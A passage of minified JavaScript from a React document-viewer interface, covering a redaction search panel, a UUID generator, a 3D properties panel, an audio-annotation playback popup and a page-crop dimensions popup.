jQ(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function LQ(e,t){var n=t.StrokeColor,r=t.OverlayText;return e.map((function(e){var t=new Annotations.RedactionAnnotation;return t.PageNumber=e.page_num,t.Quads=e.quads.map((function(e){return e.getPoints()})),t.StrokeColor=n,t.OverlayText=r,t.setContents(e.result_str),t.type=e.type,t.Author=vt.getCurrentUser(),"text"===e.type&&t.setCustomData("trn-annot-preview",e.result_str),t.setCustomData("trn-redaction-type",e.type),t}))}var IQ={OverlayText:"",StrokeColor:new Annotations.Color(255,0,0)};var NQ=function(e){var t=e.onCancelSearch,n=re(),r=RQ(le((function(e){return[fi.getActiveToolStyles(e),fi.getActiveToolName(e)]}),N),2),o=r[0],i=r[1],a=Object(l.useCallback)((function(e){var t=LQ(e,i.includes("Redaction")?o:IQ);vt.getAnnotationManager().addAnnotations(t)}),[o,i]);return s.a.createElement(PQ,MQ({markSelectedResultsForRedaction:a,redactSelectedResults:function(e){var r=LQ(e,IQ);n(VL(r,t))}},e))};function DQ(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return FQ(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return FQ(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function FQ(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var BQ=function(e){var t=DQ(Object(l.useState)([]),2),n=t[0],r=t[1],o=Object(l.useContext)(bX),i=o.isRedactionSearchActive,a=o.setIsRedactionSearchActive,u=e.redactionSearchResults,c=e.isProcessingRedactionResults,f=e.clearRedactionSearchResults,d=e.searchStatus;return s.a.createElement(s.a.Fragment,null,s.a.createElement(dQ,{searchTerms:n,setSearchTerms:r}),i&&s.a.createElement(NQ,{redactionSearchResults:u,onCancelSearch:function(){r([]),f(),a(!1)},searchStatus:d,isProcessingRedactionResults:c}))};function HQ(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return VQ(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return VQ(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function VQ(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var zQ=function(){var e=HQ(Object(l.useState)(SQ),2),t=e[0],n=e[1],r=HQ(Object(l.useState)([]),2),o=r[0],i=r[1],a=HQ(Object(l.useState)(!1),2),s=a[0],u=a[1],c=le((function(e){return fi.getRedactionSearchPatterns(e)}),N),f=Object(l.useMemo)((function(){return Object.keys(c).reduce((function(e,t){var n=c[t],r=n.regex,o=n.type,i=n.icon;return e[o]={regex:r,icon:i},e}),{})}),[c]),d=Object(l.useCallback)((function(e){var t=e.resultStr,n=Object.keys(f).find((function(e){return f[e].regex.test(t)}));e.type=void 0===n?Fx:n;var r=(f[e.type]||{}).icon,o=void 0===r?"icon-form-field-text":r;return e.icon=o,e}),[f]),p=Object(l.useCallback)((function(){i([]),vt.clearSearchResults(),u(!1)}));return Object(l.useEffect)((function(){function e(e){var t=e.map(d);u(!0),i(t)}return vt.addEventListener("searchResultsChanged",e),function(){vt.removeEventListener("searchResultsChanged",e)}}),[t]),Object(l.useEffect)((function(){function e(e){null==e?n(SQ):e?n(CQ):(n(xQ),setTimeout((function(){u(!1)}),100))}return vt.addEventListener("searchInProgress",e),function(){vt.removeEventListener("searchInProgress",e)}}),[]),{redactionSearchResults:o,isProcessingRedactionResults:s,clearRedactionSearchResults:p,searchStatus:t}},UQ=function(){var e=zQ(),t=e.redactionSearchResults,n=e.isProcessingRedactionResults,r=e.clearRedactionSearchResults,o=e.searchStatus;return s.a.createElement(BQ,{redactionSearchResults:t,isProcessingRedactionResults:n,clearRedactionSearchResults:r,searchStatus:o})};function GQ(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function WQ(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?GQ(Object(n),!0).forEach((function(t){qQ(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):GQ(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function qQ(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function ZQ(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return YQ(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return YQ(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function YQ(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var $Q,KQ=function(){var e=ZQ(le((function(e){return[fi.isElementOpen(e,"redactionPanel"),fi.isElementDisabled(e,"redactionPanel"),fi.getRedactionPanelWidth(e),fi.isInDesktopOnlyMode(e),fi.getCustomApplyRedactionsHandler(e),fi.getRedactionSearchPatterns(e)]}),N),6),t=e[0],n=e[1],r=e[2],o=e[3],i=e[4],a=e[5],u=Rf(["(max-width: 640px)"],[!0],!1),c=GX(),f=Object(l.useMemo)((function(){return WQ(WQ({},Object.keys(a).reduce((function(e,t){var n=a[t],r=n.label,o=n.type,i=n.icon;return e[o]={label:r,icon:i},e}),{})),Zx)}),[a]),d=re(),p=function(){d(Ps.closeElement("redactionPanel"))},h=!o&&u?{}:{width:"".concat(r,"px"),minWidth:"".concat(r,"px")},m=Object(l.useContext)(bX).isRedactionSearchActive;return n||!t?null:s.a.createElement(Uf,{dataElement:"redactionPanel",className:"Panel RedactionPanel",style:h},!o&&u&&s.a.createElement("div",{className:"close-container"},s.a.createElement("div",{className:"close-icon-container",onClick:p},s.a.createElement(cf,{glyph:"ic_close_black_24px",className:"close-icon"}))),s.a.createElement(UQ,null),!m&&s.a.createElement(VX,{redactionAnnotations:c,redactionTypesDictionary:f,applyAllRedactions:function(){var e=function(){d(VL(c))};i?i(c,e):e()},deleteAllRedactionAnnotations:function(){vt.deleteAnnotations(c)}}))},XQ=function(){return s.a.createElement(wX,null,s.a.createElement(KQ,null))},QQ=(n(1144),new Uint8Array(16));function JQ(){if(!$Q&&!($Q="undefined"!=typeof crypto&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto)||"undefined"!=typeof msCrypto&&"function"==typeof msCrypto.getRandomValues&&msCrypto.getRandomValues.bind(msCrypto)))throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");return $Q(QQ)}var eJ=/^(?:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}|00000000-0000-0000-0000-000000000000)$/i;for(var tJ=function(e){return"string"==typeof e&&eJ.test(e)},nJ=[],rJ=0;rJ<256;++rJ)nJ.push((rJ+256).toString(16).substr(1));var oJ=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n=(nJ[e[t+0]]+nJ[e[t+1]]+nJ[e[t+2]]+nJ[e[t+3]]+"-"+nJ[e[t+4]]+nJ[e[t+5]]+"-"+nJ[e[t+6]]+nJ[e[t+7]]+"-"+nJ[e[t+8]]+nJ[e[t+9]]+"-"+nJ[e[t+10]]+nJ[e[t+11]]+nJ[e[t+12]]+nJ[e[t+13]]+nJ[e[t+14]]+nJ[e[t+15]]).toLowerCase();if(!tJ(n))throw TypeError("Stringified UUID is invalid");return n};var iJ=function(e,t,n){var r=(e=e||{}).random||(e.rng||JQ)();if(r[6]=15&r[6]|64,r[8]=63&r[8]|128,t){n=n||0;for(var o=0;o<16;++o)t[n+o]=r[o];return t}return oJ(r)},aJ=(n(1145),function(e){var t=e.name,n=e.value;return s.a.createElement("div",{"data-element":"propertyKeyValuePair",className:"property-pair",key:t},s.a.createElement("span",{className:"property-key"},t),s.a.createElement("span",{className:"property-value"},n))}),lJ=function(e){var t=e.entities,n=[];for(var r in t)n.push(s.a.createElement(aJ,{key:r,name:r,value:t[r]}));return s.a.createElement("div",{"data-element":"generalValues"},n)};n(1146);function sJ(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return uJ(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return uJ(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function uJ(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var cJ=function(e){var t=e.name,n=e.data,r=e.open,o=sJ(Object(l.useState)(r),2),i=o[0],a=o[1],u=Object(l.useMemo)((function(){return Object.entries(n).map((function(e){return s.a.createElement(aJ,{key:e[0],name:e[0],value:e[1]})}))}),[n]);return s.a.createElement("div",{"data-element":"Group"},s.a.createElement("div",{className:"group-title"},s.a.createElement("div",{onClick:function(){a(!i)}},s.a.createElement(cf,{glyph:"".concat(i?"ic_chevron_down_black_24px":"ic_chevron_right_black_24px")})),s.a.createElement("span",null,t)),s.a.createElement("div",{className:"dropdown ".concat(i?"active":"inactive")},u))},fJ=s.a.memo(cJ);var dJ=function(e){var t=e.groups,n=e.groupOrder,r=[];if(n&&n.length>0)for(var o in r=function(e,t){var n=[];for(var r in e){var o=e[r];o in t&&n.push(s.a.createElement(fJ,{name:o,key:o,data:t[o],open:!0}))}return n}(n,t),t)n.includes(o)||r.push(s.a.createElement(fJ,{name:o,key:o,data:t[o],open:!0}));else for(var i in t)r.push(s.a.createElement(fJ,{name:i,key:i,data:t[i],open:!0}));return s.a.createElement("div",{"data-element":"groupsContainer"},r)},pJ=(n(1147),function(e){var t=e.title,n=Ks().t;return s.a.createElement("h1",{"data-element":"headerTitle"},s.a.createElement("span",null,n("wv3dPropertiesPanel.propertiesHeader")),s.a.createElement("span",null," "),s.a.createElement("span",{className:"header-value"},t))});function hJ(e,t,n){var r={};if(n)for(var o in e){var i=t[e[o]];void 0!==i&&""!==i&&(r[o]=i)}else for(var a in e)r[a]=t[e[a]];return r}function mJ(e){for(var t in e){var n=e[t];if(void 0!==n&&""!==n)return!1}return!0}var gJ=function(e){var t=e.element,n=e.schema,r=n.headerName,o=n.defaultValues,i=n.groups,a=n.groupOrder,l=n.removeEmptyRows,u=n.removeEmptyGroups,c=n.createRawValueGroup,f=Ks().t,d=hJ(o,t,l),p=function(e,t,n,r){var o={};if(r)for(var i in e){var a=hJ(e[i],t,n);Object.keys(a).length>0&&(mJ(a)||(o[i]=a))}else for(var l in e)o[l]=hJ(e[l],t,n);return o}(i,t,l,u),h=t[r];return s.a.createElement("section",{"data-element":"propertiesElement"},s.a.createElement(pJ,{title:h}),s.a.createElement(lJ,{entities:d}),s.a.createElement(dJ,{groups:p,groupOrder:a}),c?s.a.createElement(fJ,{"data-element":"Group",name:f("wv3dPropertiesPanel.miscValuesHeader"),data:t,open:!1}):null)},vJ=function(e){var t=e.currentWidth,n=e.isInDesktopOnlyMode,r=e.isMobile,o=void 0!==r&&r,i=e.closeWv3dPropertiesPanel,a=e.schema,l=e.modelData,u=Ks().t,c=!n&&o?{}:{width:"".concat(t,"px"),minWidth:"".concat(t,"px")},f=l.map((function(e){return s.a.createElement(gJ,{key:"".concat(e.handle,"-").concat(iJ()),element:e,schema:a})}));return l.length<1&&(f=u("wv3dPropertiesPanel.emptyPanelMessage")),s.a.createElement(Uf,{dataElement:"wv3dPropertiesPanel",className:"Panel wv3d-properties-panel",style:c},!n&&o&&s.a.createElement("div",{className:"close-container"},s.a.createElement("div",{className:"close-icon-container",onClick:i},s.a.createElement(cf,{glyph:"ic_close_black_24px",className:"close-icon"}))),f)};function yJ(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return bJ(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return bJ(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function bJ(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var wJ=function(){var e=yJ(le((function(e){return[fi.isElementOpen(e,"wv3dPropertiesPanel"),fi.isElementDisabled(e,"wv3dPropertiesPanel"),fi.getWv3dPropertiesPanelWidth(e),fi.isInDesktopOnlyMode(e),fi.getWv3dPropertiesPanelModelData(e),fi.getWv3dPropertiesPanelSchema(e)]}),N),6),t=e[0],n=e[1],r=e[2],o=e[3],i=e[4],a=e[5],l=Rf(["(max-width: 640px)"],[!0],!1),u=re();return n||!t?null:s.a.createElement(vJ,{isInDesktopOnlyMode:o,isMobile:l,currentWidth:r,closeWv3dPropertiesPanel:function(){u(Ps.closeElement("wv3dPropertiesPanel"))},modelData:i,schema:a})};var EJ=function(){function e(e,t){"selected"===t&&e[0]instanceof window.Annotations.SoundAnnotation&&(e[0].audio.blob||e[0].prepareAudioBlob())}Object(l.useEffect)((function(){return vt.addEventListener("annotationSelected",e),function(){vt.removeEventListener("annotationSelected",e)}}),[])};n(1148);function SJ(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function CJ(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){SJ(i,r,o,a,l,"next",e)}function l(e){SJ(i,r,o,a,l,"throw",e)}a(void 0)}))}}function xJ(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return OJ(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return OJ(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function OJ(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var AJ=function(e){var t=e.autoplay,n=e.annotation,r=e.handleAudioPlaybackError,o=e.handleAudioInitializeError,i=e.handleCloseAudioPlaybackPopup,a=xJ(Object(l.useState)(!1),2),u=a[0],c=a[1],f=xJ(Object(l.useState)(0),2),d=f[0],p=f[1],h=xJ(Object(l.useState)("00:00"),2),m=h[0],g=h[1],v=xJ(Object(l.useState)(0),2),y=v[0],b=v[1],w=xJ(Object(l.useState)("00:00"),2),E=w[0],S=w[1],C=Object(l.useRef)(),x=Ks().t;function O(){return(O=CJ(regeneratorRuntime.mark((function e(){var t;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(t=!1,!u){e.next=6;break}return e.next=4,C.current.pause();case 4:e.next=9;break;case 6:return t=!0,e.next=9,C.current.play().catch((function(e){t=!1,r(e)}));case 9:c(t);case 10:case"end":return e.stop()}}),e)})))).apply(this,arguments)}function A(){return(A=CJ(regeneratorRuntime.mark((function e(){var t;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return t=!0,e.next=3,C.current.play().catch((function(e){t=!1,r(e)}));case 3:c(t);case 4:case"end":return e.stop()}}),e)})))).apply(this,arguments)}function _(e){var t="".concat(parseInt("".concat(e/60%60),10)).padStart(2,"0"),n="".concat(parseInt("".concat(e%60),10)).padStart(2,"0");return"".concat(t,":").concat(n)}return Object(l.useEffect)((function(){var e=new AudioContext;return e.createMediaElementSource(C.current).connect(e.destination),function(){e.close()}}),[]),Object(l.useEffect)((function(){n&&n.audio&&n.audio.blob?(C.current.src=URL.createObjectURL(n.audio.blob),t&&function(){A.apply(this,arguments)}()):o("No audio data found. Cannot play this annotation's audio.")}),[n]),s.a.createElement("div",{className:js()({Popup:!0,AudioPlaybackPopup:!0})},s.a.createElement("div",{className:"audio-popup-draggable-header"},s.a.createElement("svg",{width:"12",height:"2",viewBox:"0 0 12 2",fill:"none",xmlns:"http://www.w3.org/2000/svg"},s.a.createElement("rect",{width:"12",height:"2",rx:"1",fill:"#CFD4DA"}))),s.a.createElement("div",{className:"audio-popup-ui"},s.a.createElement("audio",{"data-testid":"hidden-audio-element",ref:C,style:{display:"none"},onLoadedMetadata:function(e){var t=e.target.duration,n=_(t);p(t),g(n)},onTimeUpdate:function(e){var t=e.target.currentTime,n=_(t);b(t),S(n)},onEnded:function(){c(!1)}}),s.a.createElement(bf,{onClick:function(){return O.apply(this,arguments)},title:x(u?"action.pauseAudio":"action.playAudio"),img:u?"ic_pause_24px":"ic_play_24px"}),s.a.createElement("span",{className:"current-time"},E),s.a.createElement("input",{className:"audio-playback-progress",type:"range",step:"any",max:d,value:y,onChange:function(e){C.current.currentTime=e.target.value}}),s.a.createElement("span",{className:"duration"},m),s.a.createElement(bf,{title:"action.close",img:"ic_close_black_24px",onClick:i})))};function _J(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return TJ(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return TJ(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function TJ(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var kJ=function(){var e=_J(le((function(e){return[fi.isElementOpen(e,"audioPlaybackPopup"),fi.shouldResetAudioPlaybackPosition(e),fi.getActiveSoundAnnotation(e)]}),N),3),t=e[0],n=e[1],r=e[2],o=re(),i=Object(l.useRef)(),a=Rf(["(max-width: 640px)"],[!0],!1);function u(){o(Ps.closeElement("audioPlaybackPopup"))}function c(e){e.toString().includes("no supported source")?console.error("Error playing annotation audio. The audio type is not supported in this browser."):console.error("Error playing annotation audio.")}function f(e){console.error(e),u()}EJ(),Object(l.useEffect)((function(){n&&i.current&&(o(Ps.triggerResetAudioPlaybackPosition(!1)),i.current.state.x=0,i.current.state.y=0)}),[n]),Object(l.useEffect)((function(){function e(e,t){"delete"===t&&(e.some((function(e){return!r||e instanceof window.Annotations.SoundAnnotation&&e.Id===r.Id}))&&u())}return vt.addEventListener("annotationChanged",e),function(){vt.removeEventListener("annotationChanged",e)}}),[r]);var d=function(){return s.a.createElement(Uf,{"data-element":"audioPlaybackPopup",className:js()({Popup:!0,AudioPlaybackPopupContainer:!0,open:t,closed:!t})},s.a.createElement(AJ,{autoplay:!0,annotation:r,handleAudioPlaybackError:c,handleAudioInitializeError:f,handleCloseAudioPlaybackPopup:u}))};return t?a?d():s.a.createElement(ym.a,{ref:i,cancel:".Button, .audio-playback-progress"},d()):null},PJ=(n(1149),{items:Is.a.arrayOf(Is.a.string).isRequired,selectedItem:Is.a.string,onItemSelected:Is.a.func.isRequired,placeHolder:Is.a.string,selectedItemStyle:Is.a.object}),MJ=function(e){var t=e.items,n=void 0===t?[]:t,r=e.selectedItem,o=void 0===r?"":r,i=e.onItemSelected,a=e.placeHolder,l=e.selectedItemStyle;return s.a.createElement("div",{className:"customSelector"},s.a.createElement("button",{className:"customSelector__selectedItem",style:l},!o&&a?a:o,s.a.createElement(cf,{className:"down-arrow",glyph:"icon-chevron-down"})),s.a.createElement("ul",null,s.a.createElement("li",null,s.a.createElement("div",{style:l},!o&&a?a:o),s.a.createElement(cf,{className:"up-arrow",glyph:"icon-chevron-up"})),n.map((function(e,t){return s.a.createElement("li",{key:e+t},s.a.createElement("button",{className:js()({options:!0,optionSelected:o===e}),onMouseDown:function(){return i(e)}},e))}))))};MJ.propTypes=PJ;var RJ=MJ,jJ=function(e){var t=e.yOffset,n=e.height,r=e.xOffset,o=e.width,i=e.unit,a=e.autoTrim,l=e.supportedUnits,u=e.autoTrimOptions,c=e.onDimensionChange,f=e.onUnitChange,d=e.autoTrimActive,p=e.setAutoTrimActive,h=e.onAutoTrimChange,m=function(e){var t=5,n=e.toString().length,r=.3;if(_t){n*=1.25,t*=1.25,r*=1.25}return e.toString().includes(".")&&n>t?t+r:n>t?t:n},g=Ks().t;return s.a.createElement("div",{className:"crop-dimensions"},s.a.createElement("div",{className:"crop-dimensions-input-container"},s.a.createElement("label",{className:"crop-dimensions-input"},s.a.createElement("span",{className:"dimensions-settings-title"},"W"),s.a.createElement("div",{className:"input-field-container"},s.a.createElement("input",{name:"width","data-testid":"width-input",type:"number",min:"0",className:"dimension-input-field",style:{width:m(o)+"ch"},onChange:function(e){c(e.target.value,e.target.name),p(!1)},onKeyUp:function(e){c(e.target.value,e.target.name),p(!1)},value:o}),s.a.createElement("span",{className:"dimension-input-unit"},o>0&&l[i]))),s.a.createElement("label",{className:"crop-dimensions-input"},s.a.createElement("span",{className:"dimensions-settings-title"},"H"),s.a.createElement("div",{className:"input-field-container"},s.a.createElement("input",{name:"height","data-testid":"height-input",type:"number",min:"0",className:"dimension-input-field",style:{width:m(n)+"ch"},onChange:function(e){c(e.target.value,e.target.name),p(!1)},onKeyUp:function(e){c(e.target.value,e.target.name),p(!1)},value:n}),s.a.createElement("span",{className:"dimension-input-unit"},n>0&&l[i]))),s.a.createElement("label",{className:"crop-dimensions-input"},s.a.createElement("span",{className:"dimensions-settings-title"},"X"),s.a.createElement("div",{className:"input-field-container"},s.a.createElement("input",{name:"xOffset","data-testid":"xOffset-input",type:"number",min:"0",className:"dimension-input-field",style:{width:m(r)+"ch"},onChange:function(e){c(e.target.value,e.target.name),p(!1)},onKeyUp:function(e){c(e.target.value,e.target.name),p(!1)},value:r}),s.a.createElement("span",{className:"dimension-input-unit"},r>0&&l[i]))),s.a.createElement("label",{className:"crop-dimensions-input"},s.a.createElement("span",{className:"dimensions-settings-title"},"Y"),s.a.createElement("div",{className:"input-field-container"},s.a.createElement("input",{name:"yOffset","data-testid":"yOffset-input",type:"number",min:"0",className:"dimension-input-field",style:{width:m(t)+"ch"},onChange:function(e){c(e.target.value,e.target.name),p(!1)},onKeyUp:function(e){c(e.target.value,e.target.name),p(!1)},value:t}),s.a.createElement("span",{className:"dimension-input-unit"},t>0&&l[i])))),s.a.createElement("div",{className:"crop-dimensions-settings"},s.a.createElement("div",{className:"dimensions-settings-title-container"},s.a.createElement("span",{className:"dimensions-settings-title"},g("cropPopUp.dimensionInput.unitOfMeasurement"))),s.a.createElement("div",{className:"custom-select unit-selector"},s.a.createElement(RJ,{items:Object.keys(l),selectedItem:i,onItemSelected:f}))),s.a.createElement("div",{className:"crop-dimensions-settings"},s.a.createElement("div",{className:"dimensions-settings-title-container"},s.a.createElement("span",{className:"dimensions-settings-title"},g("cropPopUp.dimensionInput.autoTrim"))),s.a.createElement("div",{className:"custom-select auto-trim-selector"},s.a.createElement(RJ,{items:u,selectedItem:a&&d?a:"",onItemSelected:h,placeHolder:a||u[0],selectedItemStyle:{color:d?"var(--text-color)":"var(--gray-6)"}}))))};n(299);function LJ(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return IJ(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return IJ(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function IJ(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var NJ=function(e){var t=e.cropAnnotation,n=e.cropMode,r=e.onCropModeChange,o=e.closeDocumentCropPopup,i=e.applyCrop,a=e.isCropping,u=e.getPageHeight,c=e.getPageWidth,f=e.isPageRotated,d=e.redrawCropAnnotations,p=e.isInDesktopOnlyMode,h=e.isMobile,m=e.getPageCount,g=e.getCurrentPage,v=e.selectedPages,y=e.onSelectedPagesChange,b=e.presetCropDimensions,w=Ks().t,E=js()({Popup:!0,DocumentCropPopup:!0,mobile:h}),S=m(),C=LJ(Object(l.useState)(""),2),x=C[0],O=C[1],A=function(e){e.length>0&&O(e)},_=function(e){e&&he("Invalid page number. Limit is "+documentViewer.getPageCount())};Object(l.useEffect)((function(){var e=setTimeout((function(){y(x),x&&he(null)}),2e3);return function(){return clearTimeout(e)}}),[x]);var T={ALL_PAGES:w("cropPopUp.allPages"),SINGLE_PAGE:w("cropPopUp.singlePage"),MULTI_PAGE:w("cropPopUp.multiPage")},k={"Inches (in)":'"',"Centimeters (cm)":"cm","Millimeters (mm)":"mm"},P={'"':1,cm:2.54,mm:25.4,pt:72},M=LJ(Object(l.useState)(Object.getOwnPropertyNames(k)[0]),2),R=M[0],j=M[1],L=LJ(Object(l.useState)(!1),2),I=L[0],N=L[1],D=b,F=LJ(Object(l.useState)(null),2),B=F[0],H=F[1],V=LJ(Object(l.useState)(!1),2),z=V[0],U=V[1],G=function(){a&&U(!z)},W=function(e){return 